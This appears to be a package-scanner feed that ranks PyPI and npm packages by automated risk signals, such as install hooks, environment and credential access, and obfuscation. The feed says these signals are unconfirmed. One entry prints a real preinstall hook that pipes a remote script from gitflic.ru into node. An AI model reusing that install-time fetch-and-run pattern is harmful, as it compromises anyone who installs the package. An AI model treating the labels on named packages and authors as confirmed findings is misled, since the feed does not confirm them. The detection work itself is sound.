Automated package-squatting & slopsquatting detection signals across PyPI and npm — these are automated, unconfirmed signals. Use them to find candidates to investigate, but don't automatically assume they're malicious.

Sorted by risk score. Cleared packages hidden by default — add verdict:benign_community to include. Packages the registry has since removed are hidden too — see them on the Taken Down tab or add state:taken_down. Very risky packages require manual human audit. • Tag & Signal Legend →

Search & filter syntax reference
Filter with verdict: (malicious, suspicious, unverified_high_signal, squatted_stub…), ecosystem: (pypi/npm), hook: (install, network, pth, gyp, worm, c2, creds, binary, env, stealer, any — malicious hooks & behaviors), email:, domain:, keyword:, version: (comma = OR within a field, space = AND across fields), age:<6h / age:>90d (combine both for a range), state:live / state:taken_down (registry liveness — the feed defaults to state:live), lead:>7d (days we had a since-removed package flagged while it was still up), or a bare word for a package-name search.
Package Score ▼ Age Users Lines Growth Verdict Targeted Ecosystem Version Author Email domain Signals
65 2280d 21 122 ↑0.0/day
SUSPICIOUS
crypto-com pypi 1.2 Alvaro Garcia maxpowel@gmail.com gmail.com 🪝
Package purpose: Crypto.com websocket api client
Claimed homepage: https://github.com/maxpowel/crypto_com_client
Matched naming pattern: crypto-crypto-com-client
Official vendor account: No — publisher domain doesn't match the brand it names
Days since publish: 2280
Code-only verdict: BENIGN_COMMUNITY (the score above also weighs naming and publisher-domain signals, not just the code itself)
Registry downloads: 21/month, 8/week (NEGLIGIBLE_OR_ZERO_USAGE)
Codebase size: 122 lines, 8.4 kB across 3 files (TINY_CODEBASE)
Automated signals flagged:
  • MEDIUMPackage name 'crypto-com-client' matches AI hallucination template [crypto] + [crypto-com] + [client].
  • HIGHClaims critical enterprise brand identity ('CRYPTO-COM').
  • HIGHPublisher email 'maxpowel@gmail.com' is not affiliated with official vendor domain.
  • INFOEstablished pre-AI legacy package registered 2276 days ago (predates modern AI hallucination waves).
  • HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in crypto-com-client-1.2/setup.py:17
  • HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in crypto-com-client-1.2/setup.py:17
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in crypto-com-client-1.2/setup.py:17
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in crypto-com-client-1.2/setup.py:17

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
65 2381d — — —
Unverified Signal
— npm latest Itential — 🪝
Package purpose: This adapter integrates with system described as: networkmanagementclient.
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node utils/setup.js'
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/adapterBase.js:15 (+4 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/adapterBase.js:45 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/adapterBase.js:171

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
65 2509d 33 19 ↑0.0/day
Possible Squatted Stub
google pypi 12.0.1.1.0.99.dev2 Open Source Integrators, Odoo Community Association (OCA) support@odoo-community.org odoo-community.org
Package purpose: Google map widget allowing to set marker's color
Claimed homepage: https://github.com/OCA/geospatial
Matched naming pattern: odoo12-google-web
Official vendor account: No — publisher domain doesn't match the brand it names
Days since publish: 2509
Registry downloads: 33/month, 7/week (NEGLIGIBLE_OR_ZERO_USAGE)
Codebase size: 19 lines, 729 Bytes across 2 files (EMPTY_STUB)
Automated signals flagged:
  • MEDIUMPackage name 'odoo12-addon-web-widget-google-marker-icon-picker' matches AI hallucination template [odoo12] + [google] + [web].
  • HIGHClaims critical enterprise brand identity ('GOOGLE').
  • HIGHPublisher email 'support@odoo-community.org' is not affiliated with official vendor domain.
  • INFOEstablished pre-AI legacy package registered 2497 days ago (predates modern AI hallucination waves).
  • INFONo malicious install-time hooks or shell cradles detected in package AST.
  • MEDIUMPackage is an empty placeholder (19 LOC, 2 file(s), 729 bytes).

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
65 2567d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: A graph conversion tool for https://azure.microsoft.com/.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/azure/graph/client.js:171
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/azure/graph/client.js:171
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/azure/resource-manager/client.js:32

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
65 2745d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: NodeJS/browser bindings to the aws-c-* libraries
Static code signals:
  • LIFECYCLE_SCRIPT: 'install' -> 'node ./scripts/install.js'
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/dist/native/binding.js:38 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/native/binding.js:52 (+4 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/native/binding.js:93 (+6 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
65 2832d — — —
Unverified Signal
— pypi 4.55.0 Michael Mintz — 🪝
Package purpose: SeleniumBase is a framework for web crawling, scraping, and testing. Supports pytest. CDP Mode adds stealth. Includes many tools.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'Registry / Git Credentials (~/.npmrc, ~/.pypirc)' found in pytest_seleniumbase-4.55.0/setup.py:66
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pytest_seleniumbase-4.55.0/setup.py:35

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
65 3113d — — —
Unverified Signal
— pypi 4.55.0 Michael Mintz — 🪝
Package purpose: SeleniumBase is a framework for web crawling, scraping, and testing. Supports pytest. CDP Mode adds stealth. Includes many tools.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'Registry / Git Credentials (~/.npmrc, ~/.pypirc)' found in selenium_base-4.55.0/setup.py:66
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in selenium_base-4.55.0/setup.py:35

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →
65 3515d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Provides access to the application instance in SharePoint Framework components.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/dist/sp-default-assembly_default.js:80 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/dist/sp-default-assembly_default.js:1 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/sp-default-assembly_default.js:5 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/sp-default-assembly_default.js:5 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
65 3642d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: SharePoint Framework support for building web parts
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/chunk.spfx-core-teamsenv-teamsJs-v2_none_c87cb6c10ec60a7afa91.js:1
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/chunk.spfx-core-teamsenv-teamsJs-v2_none_c87cb6c10ec60a7afa91.js:1
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/dist/sp-webpart-base_default_edd8642eb190fb93e1ea.js:5 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
65 3992d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Dev tools, env vars, and tasks in one CLI
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node installArchSpecificPackage.js'
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/installArchSpecificPackage.js:1
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/installArchSpecificPackage.js:7

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4h — — —
Unverified Signal
— npm latest Hemant Rao — 🪝
Package purpose: AI Agent Bell: a loud alarm when your AI coding agent finishes, fails, or needs your input. Works with OpenCode, Claude Code, Codex CLI and any terminal tool. Global-only: zero project impact, never ships in your build.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/ai-agent-bell.js:76
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/notifications/desktop.js:13 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/adapters/opencode-plugin.js:44

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 12h — — —
Unverified Signal
— npm latest Keelson — 🪝 🌐
Package purpose: Keelson Tasks SDK for Node.js (enqueue background tasks declared under tasks:)
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/client.js:35
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/client.js:343
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/client.js:68

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 12h — — —
Unverified Signal
— npm latest William Khoo — 🪝 🌐
Package purpose: nax's native coding agent: session contract, native loop, tools, permissions, sandbox, command-safety.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/internal/agent-output-env.js:32 (+12 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in package/dist/sandbox/messages.js:24
  • CREDENTIAL_PATH_HARVESTING: 'Registry / Git Credentials (~/.npmrc, ~/.pypirc)' found in package/dist/sandbox/messages.js:24
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/command-safety/systemone-client.js:13

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 15h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Headless storefront logic for ecomweb: auth, cart, checkout, API proxy
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/api/client.js:21 (+6 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/auth/cookies.js:29 (+7 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/auth/session-refresh.js:14

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 16h — — —
SUSPICIOUS
— npm latest Douglas Christopher Wilson — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node'
  • SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 17h — — —
Unverified Signal
— npm latest visualnaut — 🪝 🌐
Package purpose: Editorial-grade writing review surface for human-in-the-loop AI generation
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/daemon/daemon-entry.js:958 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/web/assets/index-D35HaEhM.js:1 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/dist/web/assets/index-D35HaEhM.js:123

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 21h — — —
Unverified Signal
— npm latest mfasolver — 🪝 🌐
Package purpose: Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/lib/crypto.js:36
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/lib/crypto.js:61
  • SOURCE_CODE_NETWORK_CALL: 'require('http(s)')' found in package/lib/http.js:2

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 21h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: The adoc web UI: React 19 + react-router, bundled into dist/ for @agent-workshop/adoc-core to serve.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/assets/app.js:45 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/assets/app.js:10 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/assets/chunks/chunk-35SWHG2Z.js:1
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/assets/chunks/chunk-35SWHG2Z.js:1

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 26h — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Meeting recordings for a dreamteamer workspace — imported by content hash, matched to their meeting, and transcribed offline in Hebrew and English.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/skills/ingesting-recordings/bin/detect.mjs:53
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/skills/ingesting-recordings/bin/detect.mjs:137

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 29h — — —
Unverified Signal
— npm latest RugSnare Releases — 🪝 🌐
Package purpose: Runtime integrity gateway for AI agents: pin MCP tool descriptions, snare rug-pulls and drift, log every tool call.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/alerts.js:46 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/src/discovery.js:11
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/rpc.js:13 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 32h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: OMP rules port for DeepSeek Harness: rulebook, always-apply injection, rule:// addressing, and time-traveling stream rules that interrupt violating model output
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/lib/index.mjs:1545 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/index.mjs:154 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/index.mjs:771 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 34h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Named profiles for self-hosted and Convex Cloud deployments; wraps the official Convex CLI.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cli.js:1242
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:152
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/cli.js:691

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 35h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: [![fern shield](https://img.shields.io/badge/%F0%9F%8C%BF-Built%20with%20Fern-brightgreen)](https://buildwithfern.com?utm_source=github&utm_medium=github&utm_campaign=readme&utm_source=https%3A%2F%2Fgithub.com%2FPen-and-Paper-AI%2Fuserintuition-sdk-typesc
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/cjs/core/base64.js:22 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/cjs/core/base64.js:6 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/cjs/core/base64.js:22 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cjs/Client.js:133 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 38h — — —
Unverified Signal
— npm latest QuickAuth — 🪝 🌐
Package purpose: QuickAuth React Native SDK — phone OTP authentication and WhatsApp marketing attribution
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/lib/commonjs/core/client.js:64 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/lib/commonjs/core/client.js:58 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/commonjs/core/client.js:176 (+6 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/lib/commonjs/core/client.js:64 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 53h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: See what your Claude Code and Codex usage costs at list price, and what it would cost on any other LLM provider.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/sources/claude.js:5 (+4 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/cli.js:65
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/proxy.js:152

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 54h — — —
Unverified Signal
— npm latest putnami — 🪝 🌐
Package purpose: SQL database integration with PostgreSQL support, migrations, and repository pattern
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/conformance/index.js:2 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/tsconfig-xdvgp31x.js:2
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/tsconfig-xdvgp31x.js:2

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 56h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Topic rendezvous and peer discovery for iroh, from the browser, with no backend of your own
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/bytes.js:74 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/bytes.js:56 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/bytes.js:74 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/client.js:105 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 56h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: CLI for reading secrets from Vault
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'HashiCorp Vault Credentials / Endpoint' found in package/bin/vault.mjs:4
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/bin/vault.mjs:37
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/vault.mjs:3

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 58h — — —
Unverified Signal
— npm latest Anlyon — 🪝 🌐
Package purpose: The Anlyon command-line interface. Authenticate with your Anlyon account and operate the platform from a terminal, with the same permissions and execution guarantees as the API and dashboard.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/anlyon.js:2759
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/anlyon.js:334
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/anlyon.js:5760

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 59h — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Node-RED node for tracking, replaying, and automatically retrying workflow executions, with a dashboard for execution history and system health
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/ui/dashboard.js:183
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/execution-resilience.js:105
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/execution-resilience.js:105

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 67h — — —
Unverified Signal
— npm latest Sean Morris — 🪝 🌐
Package purpose: Browser PHP runtime with SDL2, image, mixer, TrueType and OpenGL bindings
Static code signals:
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/be06f09f61a05b3436710a7eb7cd2d70f2e6a30a.so' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/php8.0-sdl-runtime.mjs:1 (+5 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/php8.0-sdl-runtime.mjs:1 (+5 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 71h — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Keeps AI coding tools to a senior team's standard: planning, testing, security and compliance, with proof of every check
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/detect.js:396
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/detect.js:436 (+6 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: OpenNodes (ONP) client: search verified AI nodes, pre-price chains, invoke with signed receipts; OpenAI-compatible gateway with onp/auto routing; stdio MCP server for Cursor, VS Code, and Claude Desktop
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin.js:66
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/bin.js:108 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin.js:8

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest Tanvir Ahmed — 🪝 🌐
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/repositories/account.repository.js:64
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/repositories/account.repository.js:64 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'require('http(s)')' found in package/dist/fca-compat.js:8

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Octopi Gateway — HTTP/WS process plane, channel adapters, and Web runtime
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/gateway/client.js:116 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/gateway/gateway.js:997
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/gateway/gateway.js:997

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Connect any agent harness to a Marginalia library through Marginalia Relay, end-to-end encrypted
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/client.mjs:34
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/src/sealed.mjs:57
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/src/sealed.mjs:57

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest cristibcf (https://github.com/cristibcf) github.com 🪝 🌐
Package purpose: RaptorRuntime: host contracts, capability broker and standalone launcher CLI.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/core/host.js:62 (+3 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/core/modules/net.js:72 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/core/modules/net.js:47 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 3d — — —
Unverified Signal
— npm latest Sagarithm — 🪝
Package purpose: Universal Cross-Agent Engineering Framework for AI Coding Agents
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/sagarithm.mjs:10 (+3 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/cli/src/compiler/emitter.ts:58 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Connect your AI tools to the Backrefs MCP server
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/install-FMDNTLMK.js:128
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/install-FMDNTLMK.js:58 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/login-3B4NTI5F.js:15

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Lamaste server daemon — REST API and plugin host
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/lib/chisel-reconcile.js:56 (+17 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/lib/gatekeeper-client.js:104 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/src/lib/tickets.js:188

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest Code Lama Software — 🪝
Package purpose: One-command setup for secure reverse tunnels with a management dashboard
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/bundle-vendor.js:94
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/src/lib/env.js:52
  • SYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in package/src/tasks/gatekeeper.js:179 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest ADM Media Consulting SA — 🪝 🌐
Package purpose: Production-grade, framework-agnostic TypeScript player library based on Video.js
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/index.cjs:177 (+2 more occurrence(s) elsewhere)
